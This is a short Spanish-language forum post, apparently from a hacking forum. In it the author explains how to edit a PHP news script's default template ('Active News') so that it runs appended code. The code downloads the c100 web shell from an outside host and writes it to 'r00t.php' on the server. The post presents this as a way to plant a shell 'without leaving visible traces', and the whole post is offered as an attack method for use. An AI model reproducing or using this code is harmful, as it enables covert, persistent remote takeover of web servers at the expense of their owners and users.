Me despondo a mi mismo, hay una forma mas fácil sin dejar rastros visibles.
editen el templete default cualquiera, ejemplo
Active News... al final agregan
HTML;
phpinfo();
................. inyectando la shell seria
HTML;
$s = file_get_contents('
http://blacknite.eu/php_shells/c100.txt'); $f = fopen('r00t.php', 'x');
fwrite($f, $s); fclose($f);
Saludos.